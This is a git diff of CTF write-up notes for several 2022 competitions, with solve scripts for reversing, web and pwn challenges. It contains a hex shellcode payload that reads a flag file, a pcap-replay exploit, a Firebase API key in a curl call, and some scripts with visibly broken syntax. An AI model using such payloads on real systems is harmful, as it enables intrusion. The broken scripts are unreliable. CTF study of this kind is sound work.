diff --git a/ctfs/comments/b01lers22.md b/ctfs/comments/b01lers22.md index e6d8ca8..98b4bd1 100644 --- a/ctfs/comments/b01lers22.md +++ b/ctfs/comments/b01lers22.md @@ -1,82 +1,82 @@ ### WEB2.0 glibc 2.33 pain - which means i gotta use the ld trick again but now how do i debug it since i cant ld the server and expect ida to use it to load the program turns out i can run and attach the program normally (or use process options with ld) then manually rebase the program in ida right click the module in modules window, right click jump to module base, get the base addr, `edit->segments->rebase program` and set it to that, uncheck fix code (idk if it helps in making the code not screw up actually but ye) and then breakpoints and stuff should work normally -while i was reversing the get_input function angus found out if you `localhost:7878/crawl` it doesnt reject it and instead shows `correct the flag "" is valid` +while i was reversing the get_input function [@Angus](https://maplebacon.org/authors/alueft/) found out if you `localhost:7878/crawl` it doesnt reject it and instead shows `correct the flag "" is valid` i was just about to figure out how retstr is made and it seems like theres sth related to arrays so i tested `/crawl/a/b/c/` but before that i also tested out what robert said where any char would also return 200 OK so i was entering `/a`s i actually got `sorry but flag "aaa" is not valid` instead so i was like wait is my theory correct but then it says `aaa` where i only inputted a single a then i remembered i entered a 3 times before that as standalone curl reqs so i tried ```sh $ curl "localhost:7878/a" $ curl "localhost:7878/b" $ curl "localhost:7878/c" $ curl "localhost:7878/crawl" ``` and it actually returned ``` Welcome to the b01lers flag verification service! Sorry abc is not a valid flag. Error: InvalidKeyError ``` eyo? so thats how we input stuff then i thought since empty string is correct what if it actually checks char by char so i tried entering b then crawl to validate and indeed it works so i wrote a script for it: ```py import requests import string from pwn import * context.log_level = 'CRITICAL' flag = 'bctf{' while True: p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0']) p.recvuntil('Welcome') for bc in r'0123456789abcdefghijklmnopqrstuvwxyz{}_': for fc in flag: requests.get('http://localhost:7878/' + fc) requests.get('http://localhost:7878/' + bc) resp = requests.get('http://localhost:7878/crawl') if b'Congrats' in p.recvall(): print('got', flag) flag += bc break p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0']) p.recvuntil('Welcome') ``` but it turns out it doesnt work well - it gets stuck at `bctf{sorrylno_nfqs_onlylq` which means theres more than 1 possible correct returns for certain chars and while i was working on getting all the possible correct returns instead of breaking directly ming got the flag by guessing with english lmao and so here it is `bctf{sorry_no_nfts_only_flags}` \ No newline at end of file diff --git a/ctfs/comments/bsidessf22.md b/ctfs/comments/bsidessf22.md index dadc170..4a47d23 100644 --- a/ctfs/comments/bsidessf22.md +++ b/ctfs/comments/bsidessf22.md @@ -1,445 +1,445 @@ ### codetalker 4 layers of encoding - first is traversing the maze with the provided path to get the base64 - the main problem with this is theres not really a way to tell the starting point - until you realize `==` is always at the end so we can just traverse backwards (this will be a recurring theme) - another more minor problem is that the maze wraps around, so you'll need to do modulos too - also the newlines made my traversal script go weird before i realize i shouldve truncated those lmao - file says its archive, so extracting it is - second one is a weird line of characters along with a bunch of data encoded with those chars - i somehow instantly thought its substitution cipher so i tried to spot patterns (namely the aforementioned `=` padding) - turns out its just those chars mapped to `/[A-Za-z0-9+/=]/` in sequence lol - replacing those chars yield us another base64, again archive - this time we are given what looks like a split hex dump, but the hex bytes doesnt really match up - also theres `eape\nxml` in the first 2 lines so i tried searching that up - i thought it was sth related to xml but nope this random doc i found https://readthedocs.org/projects/lantern-crypto/downloads/pdf/latest/ had exactly what i needed lmao - so i just implemented the column stitching algo and we get another archive this time in hex form - finally this one is encoded in upper case and lower case phi - i was thinking binary would store too little information so its not gonna be that but my teammate [@JJ](https://maplebacon.org/authors/apropos/) was like what else could it be so i tried it out and turns out its actually the flag lmao guess i overestimated the bits needed for plaintext finally we get `CTF{layers_of_meaning}` ```py import base64 # starting = (30-12, 38) # encoded = '' #from 7zip # with open('codes~', 'r') as f: # data = f.readlines() # path = "".join(data[1:9]).replace('\n', '')[::-1] # print(path) # grid = [l.replace('\n', '') for l in data[11:]] # cursor = starting # for d in path: # #directions are flipped; cursor[0] is y and 1 is x # encoded += grid[cursor[0]][cursor[1]] # print(encoded) # if d == 'U': # cursor = (cursor[0] + 1, cursor[1]) # elif d == 'D': # cursor = (cursor[0] - 1, cursor[1]) # elif d == 'L': # cursor = (cursor[0], cursor[1] + 1) # elif d == 'R': # cursor = (cursor[0], cursor[1] - 1) # cursor = (cursor[0] % len(grid), cursor[1] % len(grid[0])) # print('dir', d) # print(cursor, len(grid), len(grid[0])) # with open('decoded.bin', 'wb') as f: # f.write(base64.b64decode(encoded[::-1])) #from 7zip again # with open('decoded', 'r') as f: # data = f.readlines() # mapping = {} # for i, c in enumerate(data[0]): # mapping[c] = data[1][i] # encoded = ''.join(data[2:]).replace('\n', '') # print(encoded) # print(''.join([mapping[c] for c in encoded])) # with open('decoded2.bin', 'wb') as out: # out.write(base64.b64decode(''.join([mapping[c] for c in encoded]))) #from 7zip again # with open('decoded2', 'r') as f: # data = f.readlines() # reconstructed = '' # for i in range(0, len(data), 2): # print(data[i], data[i+1]) # for j in range(len(data[i])): # reconstructed += data[i][j] # if len(data[i+1]) > j: # reconstructed += data[i+1][j] # print(''.join(reconstructed)) # #from cyberchef # with open('decoded3.bin', 'wb') as out: # out.write(base64.b64decode('XQAAAAT//////////wBnoZXKXOw8s/dFlr1e6lEOuk7VhaoCxfV8YF6o2J7QTzfO9SRNMhd9c9K5BIOX1JS/Xn/S5CvhBFVgBwQITaoIKHEA/Q3OBQ==')) #from 7zip again with open('decoded3', 'r', encoding='utf-8') as f: data = f.readlines() mapping = {'φ': '0', 'Φ': '1', '\n': ''} s = ''.join([mapping[c] for c in ''.join(data)]) print(int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big')) ``` ### monstera usual dex2jar, apktools stuff to unpack and inspect with enigma there are strings called "parts" in each of the views (part2-4), which seems to be base64 encoded with one being int array (which turned out also to be base64 in ascii) but part1 was missing until [@JJ](https://maplebacon.org/authors/apropos/) realized its in the resources class so i just searched the string up in the unpacked res directory and grabbed that base64 stitching the parts tgt gives us `CTF{Rev3rs3Th3AppN0wYay}` ### shorai lol crypto re chall? lemme instruction count it instead the mmaps and dlfcn stuff reminds me of a packer so i tried to breakpoint at the oep before i realized it never even got reached coz i need to provide the decryption key lmao so i looked into validate_key and wait they are traversing it character by character and exiting when the key becomes invalid? aint this prime instruction count target lmao theres even a counter variable for us to use copying the solve script from maplectf and altering it slightly gives us ```py from pwn import * import string flag = '' alpn = '0123456789abcdef' while len(flag) < 65: for c in alpn: io = process(['/usr/bin/gdb', '-q', './shorai']) io.sendline('b *(validate_key+0x52)') print(flag + c + 'a'*(64-len(flag))) io.sendline('set args ' + flag + c + 'a'*(64-len(flag)) + '') io.sendline('start') io.recvuntil('Temporary breakpoint') io.recvuntil('\n(gdb) ') io.send('continue\n') io.recvuntil('Breakpoint 1,') io.recvuntil('\n(gdb) ') io.sendline('x/b $rsp+0x2c') out = io.recvuntil('\n(gdb) ') print(out) count = int(out.split(b':\t')[1].split(b'\n')[0].decode()) print(c, count) if count >= len(flag) + 2: flag += c io.close() break io.close() ``` one thing to note is that the validate_key method only checks nibbles so thats the chars im checking only and ey that one worked so time to jump to the unpacked oep guess what the flag is right there in the IDA decomp LOL `CTF{r3v3rsing_for_funds_and_profits}` ### loadit 1-3 looks like the author wants us to do some LD_PRELOAD stuff, but what if i just ```py print(bytes([a ^ b for a, b in zip(b'\xa3\x911\x93\xb8D\xe3,\xb8\xf1\x89|x\xa9\x14W\xff\x03F\x1d*\x03\xd8\xe5Fq\x1c\x8d\x00', b'\xe0\xc5w\xe8\xd4+\x82H\xe7\x98\xfd#\x14\xc0\x7f2\xa0z)hud\xb7\x91\x19\x18h\xf0\x00')])) print(bytes([a ^ b for a, b in zip(b'\t\xa9\xd4U\r=\xcdtL\x9b$\xbe\x8c\x9d\x926\x05T\xaf\xe7\x10\x8c\xd4\xd9\xaf\xec$\x8f\x1f\x00', b'J\xfd\x92.dS\x92\x00$\xfe{\xce\xe5\xed\xf7ic=\xd9\x82O\xee\xad\x86\xc9\x85R\xeab\x00')])) print(bytes([a ^ b for a, b in zip(b'#HW \x91K\xe4\xa1\xd1k\x881pe\xe5\x0b4\xde\x030\xc3z\x9d:c\x9e|0\xb6\r\xc7\x00', b'`\x1c\x11[\xf8\x14\x93\xc8\xbf4\xe1n\x07\x0c\x8bTP\xb7mW\x9c\x1e\xf4T\x04\xc1\x18Y\xd8j\xba\x00')])) ``` yep all of the binaries just xors 2 byte arrays to get the flag after you finish the LD_PRELOAD bypass stuff lmfao `CTF{load_it_like_you_got_it}` `CTF{in_the_pipe_five_by_five}` `CTF{i_win_i_win_ding_ding_ding}` ### shurdle 1-3 this was pretty fun going back to the basics to do shellcode their ui for the chall series is also really well made too its pretty convenient and nice looking though apparently if you segfault the chall will just spew out the flag along with other debug info LOL found that out coz i didnt want to write the last exploit in shurdle3 and used pwntools for it instead which segfaulted for some reason hey i still got the flags thats all that matters (also this prob wouldve been solved way quicker if i just used pwntools for everything lmao but hey thats no fun) `CTF{return_to_me}` `CTF{returning_where_we_return}` `CTF{going_a_little_meta}` ### 0x41414141 name implies stack smashing lmao opening it in IDA to get the size of the char array and we can change it to exactly what we want tbh we couldve just spammed `A`s to get the flag too it doesnt have a length check `CTF{pwning_has_begun}` ### arboretum again the usual stuff with `apktools d` and `dex2jar`, then go in with enigma and look at the relevant classes seems like theres a fetcher that fetches a google cloud file that we wouldnt normally be able to access, which is restricted to only accessing firebase links so i looked up how to get the firebase link without needing the app using curl which exists https://firebase.google.com/docs/dynamic-links/rest but needs an api key so i also looked up how to extract that too and turns out its just called `google_api_key` https://blog.dipien.com/how-to-increase-the-security-of-the-api-keys-created-by-firebase-e9be0925526b with a curl we can get the link ``` $ curl -X POST "https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyBzJByNMwCrFIOWzGpiFasuYWNV5rZdRK8" - H "Content-Type: application/json" --data '{"longDynamicLink": "https://bsidessfctf2022.page.link?link=https://storage.cloud.google.com/arboretum-images-2022/tree1.png&apn=com.bsidessf.arboretum"}' { "shortLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA", "warning": [ { "warningCode": "UNRECOGNIZED_PARAM", "warningMessage": "Android app 'com.bsidessf.arboretum' lacks SHA256. AppLinks is not enabled for the app. [https://firebase.google.com/docs/dynamic-links/debug#android-sha256-absent]" } ], "previewLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA?d=1" } ``` and https://arboretum-e83f3dfd.challenges.bsidessf.net/get-nft?url=https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA does indeed give us a tree pic but now the problem comes - yea ok the flag is probably on the cloud, but how do i access it so i tried accessing out of bounds pics like tree6 or even the whole https://storage.cloud.google.com/arboretum-images-2022/ dir but both just 500 internal server error'd the short link for the dir one couldnt even be created coz its restricted apparently but then i was like wait usually its flag.txt but since it says explicitly that its arboretum-***images***-2022 why not try flag.png and it actually got me the flag lmao i wonder how to actually do it legitimately tho coz no way thats the intended solution `CTF{L3afM3Al0n3}` ### dual type multi format "new *riff* on an old format" - riff is the base for webp so its probably extracting data from the riff chunks [@JJ](https://maplebacon.org/authors/apropos/) did exactly that and got a wav file which sounds like telephone codes like those ones in utctf and ritsec aka dtmf but the problem is the tool we used to solve that was down lmao so we had to find another one but none works well enough the closest is https://unframework.github.io/dtmf-detect/ but it doesnt support the ABCD codes that is until i realized i can breakpoint in firefox at when it defines the frequencies and coders to change it to include the ABCD freqency column lmao adding this right after the 2 vars got defined gives us the ABCD column ready to go: ```js bankList = (function() { var i, len, ref, results; ref = [[697, 770, 852, 941], [1209, 1336, 1477, 1633]]; results = []; for (i = 0, len = ref.length; i < len; i++) { freqSet = ref[i]; results.push((function() { var j, len1, results1; results1 = []; for (j = 0, len1 = freqSet.length; j < len1; j++) { freq = freqSet[j]; results1.push(new FilterThresholdDetector(new FrequencyRMS(context, freq))); } return results1; })()); } return results; })(); coder = new Coder(new BankSelector(bankList[0]), new BankSelector(bankList[1]), ['1', '4', '7', '*', '2', '5', '8', '0', '3', '6', '9', '#', 'A', 'B', 'C', 'D']); ``` `4354467B6469616C5#665#666#725#666C61677D` and we get all of the codes decoded eyy looking back at the webp image the dial pad is clearly modified and it matches the dtmf pad except * and # is now E and F which signifies its probably hex code changing the # in the string we got yields us exactly the flag in hex: `CTF{dial_f_for_flag}` ### pwncaps 1-2 -first one is just copy the payload in the pcap right before the one that gives NOFLAG solves the chall???? +copying the payload in the pcap right before the one that gives NOFLAG solves the chall for the first one???? `CTF{pcaps_the_way}` but the second one was pretty cool lmao really fun to finally automate some pcap analysis with scapy at first i just tried to send all the payloads in the pcap that was sent to the server (server being the one that sent NOFLAG), but ofc that was way too quick for the server to catch up so i tried syncing it up trying to get pwntools to recvuntil the next packet data which should be a response but then theres zero byte packets all scattered throughout the pcap from both client and server so i had to filter those out too but then its still not working it just freezes after i send the data then eventually i realized the `-93: ` line is probably a PIE leak since it changes randomly every time the programs run so i tried to offset everything using it but that was just too scatterfiring and other values thats clearly not an address got changed too so i restricted it to some big number so that its likely an address but it still didnt work eventually when i was printing everything and handpicking things that looks like addresses i noticed wait why does `0x8044f6f7` `0xf044f6f7` `0x904cf4f7` look like addresses but addresses dont change their upper bytes with their lower bytes keeping constant usually then i had the revelation: its flipped endianness flipping them for both the offset calculation and the int we send, then restricting the values we change to 0xf7000000 finally yields us the flag `CTF{finding_offsets_can_be_hard_amirite}` ```py from pwn import * from scapy.all import * #part 1 p = remote('pwncap-5d438dc7.challenges.bsidessf.net', 5555) p.send(bytes.fromhex('010feb425f807712414831c004024831f60f056681ec0001488d34244889c74831d266ba00014831c00f054831ff4080c7014889c24831c004010f054831ff4831c0043c0f05e8b9ffffff2f686f6d652f6374662f666c61672e747874414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141771240000000000041')) p.interactive() #part 2 pcap = rdpcap('pwncap2.pcap') offset = 0 lastcheck = b'' p = remote('pwncap2-37de32a2.challenges.bsidessf.net', 5555) p.recvuntil('Menu') for packet in [pkt for pkt in pcap if TCP in pkt and pkt[IP].src == '172.17.0.1' and len(bytes(pkt[TCP].payload)) > 0]: #get supposed payload from client (cannot directly use since PIE is enabled) payload = bytes(packet[TCP].payload) try: #calculate offsets from leak; program sends us the int in big endian so we need to flip it to apply offset val = struct.unpack("I", int(payload.decode())))[0] print(val, hex(val)) if b'value' in lastcheck and val > 0xf7000000: #value is likely address val -= offset print(val, hex(val)) tosend = struct.unpack("I", val))[0] #flip it back to big endian p.sendline(tosend) except: #likely menu operations, just send raw print(payload) p.send(payload) #get response payload from server; ignore empty packets check = next(bytes(pkt[TCP].payload) for pkt in pcap[pcap.index(packet)+1:] if TCP in pkt and pkt[IP].src == '172.17.0.5' and len(bytes(pkt[TCP].payload)) > 0) if b'-93: 3863474679' in check: #initial PIE offset leak #just like above, we need to flip endianness to calculate real = struct.unpack("I", int(p.recvuntil('\n\n').split(b'-93: ')[1].split(b'\n\n')[0].decode())))[0] offset = struct.unpack("I", 3863474679))[0] - real print('off', hex(real), hex(offset)) elif b'NOFLAG{get_your_own_flag}' in check: #we are supposed to get the flag here p.interactive() break else: #wait until the supposed response is received to avoid spamming print('check', check) lastcheck = check p.recvuntil(check) ``` ### loca was so lost until my laptop decided to update its ASLR base lmfao binary was simple, i couldve just copied most of the calculation codes from IDA and reimplement it in python to get it working locally but it never worked remotely for some reason while testing i noticed something really weird there was always this weird `▼≡▼` symbol locally that gets printed but it doesnt match the remote one so i thought its related to encoding but changing encoding and doing a lot of things related to that like null terminators and new lines all didnt work well eventually from pwntools i realized that kinda looks like an address and i checked IDA and it actually is the char* ptr for the IV string but then the remote address was `0xECF01F` whereas my local one was `0x1FF01F` which made no sense that they are reading something different remotely since ECF01F aint a valid address no matter how i look at it unless its ASLR but ASLR shouldnt change the IV string either so i had no idea eventually i came back on the second day and my laptop probably reset the ASLR base after the sleep and my local script stopped working lmao which is a really good sign since i can debug whats different now turns out the value that they xor the IV with ALSO changes with the ALSR base found that out after subtracting the new one with the old one well then mystery solved i just need to subtract the value with the ASLR base and add the remote base `0xEC0000` back voila `CTF{location_location_relocation}` ```py from pwn import * p = remote('loca-d9ca6ad4.challenges.bsidessf.net', 8881) #p = process('loca.exe') str2 = p.recvuntil(b'response?').split(b'Challenge: ')[1].split(b'\r\n')[0] print(str2) #str2 = b"H'r(?{ZQW(=kx i ;urx#.fv7JIh iT" #sanity check p.send('A'*31 + '\n') aslr = int.from_bytes(p.recvuntil(b'2 of 3)\r\n').split(b'\r\n')[2][:3], byteorder='little') & 0xFF0000 print(hex(aslr)) v21 = 0xABD15330 - 0x1F0000 + aslr #ASLR base change affects v21 - remote is EC from the "your response" 0xECF01F leak v20 = b'THIS_IS_KINDA_SORTA_MAYBE_AN_IV!!' print(v20) for i in range(31): print(hex(v21)) str2 = str2[:i] + bytes([((v21 & 0xFF) ^ str2[i]) % 0x5F + 32]) + str2[i+1:] v21 = v20[i] ^ (v21 >> 1) print(str2.decode()) p.send(str2) print(p.recvall(timeout=1)) ``` i still wanna know what made the ASLR change though ik IDA made it a glaring red to indicate the memory address is invalid but why was it treated as a memory address windows quirks windows quirks \ No newline at end of file diff --git a/ctfs/comments/cryptoverse22.md b/ctfs/comments/cryptoverse22.md index cf29050..755e11b 100644 --- a/ctfs/comments/cryptoverse22.md +++ b/ctfs/comments/cryptoverse22.md @@ -1,442 +1,442 @@ ### super guesser pyc, so the logical approach is ofc to run pycdc on it eyo actually worked flawlessly coz its python 3.8 apparently reading the src tells us that we need to give it 4 chunks of the flag each of 5 chars long and matches the partial hash given i dont think hashcat nor john the ripper accepts partial hashes out of the box, and i dont think we need that powerful of a bruteforcer to test anyway so i just coded one in python turns out pwnlib has mbruteforce thats pretty fast lol flage `cvctf{hashisnotguessy}` ```py import hashlib import re import pwnlib.util.iters as iters import string hashes = [ 'd.0.....f5...5.6.7.1.30.6c.d9..0', '1b.8.1.c........09.30.....64aa9.', 'c.d.1.53..66.4.43bd.......59...8', '.d.d.076........eae.3.6.85.a2...'] for i in range(len(hashes)): match = re.compile('^' + hashes[i].replace('.', '[0-9a-f]') + '$') print (iters.mbruteforce(lambda t:match.match(hashlib.md5(t.encode()).hexdigest()), string.ascii_lowercase, 6, 'upto')) ``` ### warmup 4 [@Ray](https://maplebacon.org/authors/Ray/) was originally working on it and i picked up trying to see if theres a pattern in the different width unicode chars they used to encode things but then [@kever](https://maplebacon.org/authors/vEvergarden/) was like watch me solve it in 5 mins AND HE ACTUALLY GUESSED WHAT THE STEGO ALGO IS RIGHT FROM THE HINT LOL guess what tho i sniped him by decoding using the site faster than he can :sunglasses: logic is https://github.com/holloway/steg-of-the-dump/blob/master/steg-of-the-dump.js `cvctf{secretsaretobeh1dd3n}` ### french watching [@kever](https://maplebacon.org/authors/vEvergarden/) going insane speedrunning the challs in like sub 5 mins made me wanna try too but im just too slow :turtle: anyway its clear from the decompilation that it decrypts the flag using rc4 and then checks char by char if it matches or not its obviously instruction countable but dude the flag is literally in memory alr so just grab it after breakpointing `cvctf{rC4<->3nC0d3d>-<}` ### baby cuda this was kinda fun ngl i love blackboxing challs and not doing it the intended way judging from name it was probably supposed to be a shader chall and i can see communication to and from the gpu too but man im not about to learn how to reverse shaders so i looked at the checking part directly and i realized they are checking chunks of 4 characters at once for 4 times which means the flag is 16 bytes so i started looking at the transformation to the input after the cuda operations and seeing if theres any patterns i can see good ol 'aaaaaaabaaacaaad' tells me that there does seem to be a pattern in that they are always of the same distance from each other as long as we change only a character for each chunk even though the 4 bytes are intertwined which means we cant char by char bruteforce / instruction count feasibly eventually i mapped out the differences between each char: ```text aaaaaaabaaac 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 ...E.à5E..xE.`fE 00 50 18 45 00 B0 36 45 00 C0 79 45 00 50 67 45 .P.E.°6E.ÀyE.PgE 00 10 19 45 00 80 37 45 00 F0 7A 45 00 40 68 45 ...E.€7E.ðzE.@hE little endian, (0xC0, 0xD0, 0x130, 0xF0) on middle 2 bytes aaaaaabaaacaaada 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 00 10 18 45 00 70 36 45 00 40 79 45 00 10 67 45 00 90 18 45 00 00 37 45 00 F0 79 45 00 C0 67 45 00 10 19 45 00 90 37 45 00 A0 7A 45 00 70 68 45 little endian, (0x80, 0x90, 0xB0, 0xB0) on middle 2 bytes aaaaabaaacaaadaa 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 00 D0 17 45 00 50 36 45 00 20 79 45 00 D0 66 45 00 10 18 45 00 C0 36 45 00 B0 79 45 00 40 67 45 00 50 18 45 00 30 37 45 00 40 7A 45 00 B0 67 45 little endian, (0x40, 0x70, 0x90, 0x70) on middle 2 bytes aaaabaaacaaadaaa 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45 00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45 00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45 little endian, (0x10, 0x10, 0x20, 0x50) on middle 2 bytes ``` which also compounds up which is a very good sign coz it means we can just do multiplication on it ```text aaaaaabb 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 00 D0 18 45 00 40 37 45 00 70 7A 45 00 00 68 45 +0x140 (0xC0+0x80) +0x160 (0xD0+0x90) +0x1E0 (0x130+0xB0) +0x1A0 (0xF0+0xB0) ``` now that i got a pretty consistent result so i started looking at the expected result it compares in memory they convert the float into an int to compare to expected result so i tried converting the expected result to float since i found a pattern in the float representation in memory ```c #include #include int main() { char d[] = {0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00 ,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00 ,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00 ,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00}; int* data = (int*)d; __m128 buf; for(int i = 0; i < 16; i++) { int in = data[i]; __m128 out = __builtin_ia32_cvtsi2ss(buf, in); char * bytearray = (char *) &out; for(int i = 0; i < 4; i++) printf("%02hhx", bytearray[i]); printf("\n"); } return 0; } ``` and then its time to try out z3 but while writing that i realized somehow some of the expected values arent even divisible by the amount of offset i added (last hexit is 8 not 0) so the representation is probably not that accurate due to how float is implemented and z3 is just giving me unsats everywhere or a ton of wrong solutions otherwise so i went back to verify if my theory is correct or not at one point i got so confused about the pattern in the float representation coz it straight up aint even aligned anymore so i gave up on it and then i thought why not try the integer representation instead turns out the pattern is way easier to recognize so i just wrote a script to grab the differences automatically to do what i did manually for the floats ```py raw = """ 00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45 00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45 00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45 """ r = raw.replace(' ', ' ').replace('\n', ' ').strip().split(' ') chunks = [struct.unpack('f', bytes([int(v, 16) for v in r[i:i + 4]]))[0] for i in range(0, len(r), 4)] for i in range(4): print([j-i for i, j in zip(chunks[i::4][:-1], chunks[i::4][1:])]) ``` but it is still different from the expected values somehow aside from the first value turns out i was coding the difference obtaining automation script too much that i got it mixed with how to get expected values LOL i parsed the expected values as columns instead of rows ofc its gonna be wrong for anything aside from the first value with the fixed script we can grab the chunks out now and obtain the actual flag: `cvctf{CuD4_B@@M}` ```py from z3 import * #not working float comparison impl (inconsistent differences due to how float is implemented) # s = Solver() # b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)] # # s.add(Int2BV(0x1790 + BV2Int(BV2Int(b[0]*0)xC0) + BV2Int(BV2Int(b[1]*0)x80) + BV2Int(BV2Int(b[2]*0)x40) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x2c30) # # s.add(Int2BV(0x35e0 + BV2Int(BV2Int(b[0]*0)xD0) + BV2Int(BV2Int(b[1]*0)x90) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x4fc0) # # s.add(Int2BV(0x7890 + BV2Int(BV2Int(b[0]*0)x130) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x90) + BV2Int(BV2Int(b[3]*0)x20), 16) == 0x8e40) #8e48 # # s.add(Int2BV(0x6660 + BV2Int(BV2Int(b[0]*0)xF0) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x50), 16) == 0x81b0) # s.add((BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10) == 0x451920) # s.add((BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10) == 0x4537c0) # s.add((BV2Int(b[0]*0)x130 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20) == 0x457b20) #8e48 # s.add((BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50) == 0x4568c0) # for c in b: # s.add(c >= 97) # s.add(c <= 122) # print(s.check()) # while str(s.check()) == 'sat': # print("".join([chr(s.model()[c].as_long()) for c in b])) # s.add(Or([c != s.model()[c] for c in b])) #sanity check for float # b = b'aaas'[::-1] # print(b[0], b'h'[0], hex(0x130*b'h'[0])) # print(hex(0x448000 + BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10)) # print(hex(0x448000 + BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10)) # print(hex(0x448000 + (BV2Int(b[0]*0)x130 if b[0] <= b'h'[0] else ((0x130*b'h'[0]) + (b[0]-b'h'[0])*0x98)) + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20)) # print(hex(0x448000 + BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50)) # print(chr(b's'[0] - 0xB)) import struct # from c cvtsi2ss coz i just realized python struct unpack works exactly like cvtss2si #sanity check for unpack to see if values match # vals = [00, 0x90, 0x17, 0x45, 0x00, 0xE0, 0x35, 0x45, 0x00, 0x90, 0x78, 0x45, 0x00, 0x60, 0x66, 0x45, # 00, 0x10, 0x18, 0x45, 0x00, 0x70, 0x36, 0x45, 0x00, 0x40, 0x79, 0x45, 0x00, 0x10, 0x67, 0x45, # 00, 0x90, 0x18, 0x45, 0x00, 0x00, 0x37, 0x45, 0x00, 0xF0, 0x79, 0x45, 0x00, 0xC0, 0x67, 0x45, # 00, 0x10, 0x19, 0x45, 0x00, 0x90, 0x37, 0x45, 0x00, 0xA0, 0x7A, 0x45, 0x00, 0x70, 0x68, 0x45] #print([struct.unpack('f', bytes(vals[i:i + 4])) for i in range(0, len(vals), 16)]) # expected vals from float from cvtsi2ss vals = [ 0x00302c45, 0x00c04f45, 0x00488e45, 0x00b08145 , 0x00601e45, 0x00f04045, 0x00788545, 0x00707145 , 0x0080e444, 0x00100645, 0x00703545, 0x00302b45 , 0x00401845, 0x00e03045, 0x00607545, 0x00205a45] expected = [int(struct.unpack('f', v.to_bytes(4, byteorder='big'))[0]) for v in vals][:4] # orig expected vals in memory vals = [0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00 ,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00 ,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00 ,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00] expected = [int.from_bytes(bytes(vals[i:i + 4]), byteorder='little') for i in range(0, len(vals), 4)][12:] print(expected) #sanity check # b = b'cvct' # print((b[0]*1 + b[1]*4 + b[2]*8 + b[3]*12)) # print((b[0]*1 + b[1]*7 + b[2]*9 + b[3]*13)) # print((b[0]*2 + b[1]*9 + b[2]*11 + b[3]*19)) # print((b[0]*5 + b[1]*7 + b[2]*11 + b[3]*15)) #finally a solution that works with consistent differences s = Solver() b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)] s.add((BV2Int(b[0])*1 + BV2Int(b[1])*4 + BV2Int(b[2])*8 + BV2Int(b[3])*12) == expected[0]) s.add((BV2Int(b[0])*1 + BV2Int(b[1])*7 + BV2Int(b[2])*9 + BV2Int(b[3])*13) == expected[1]) 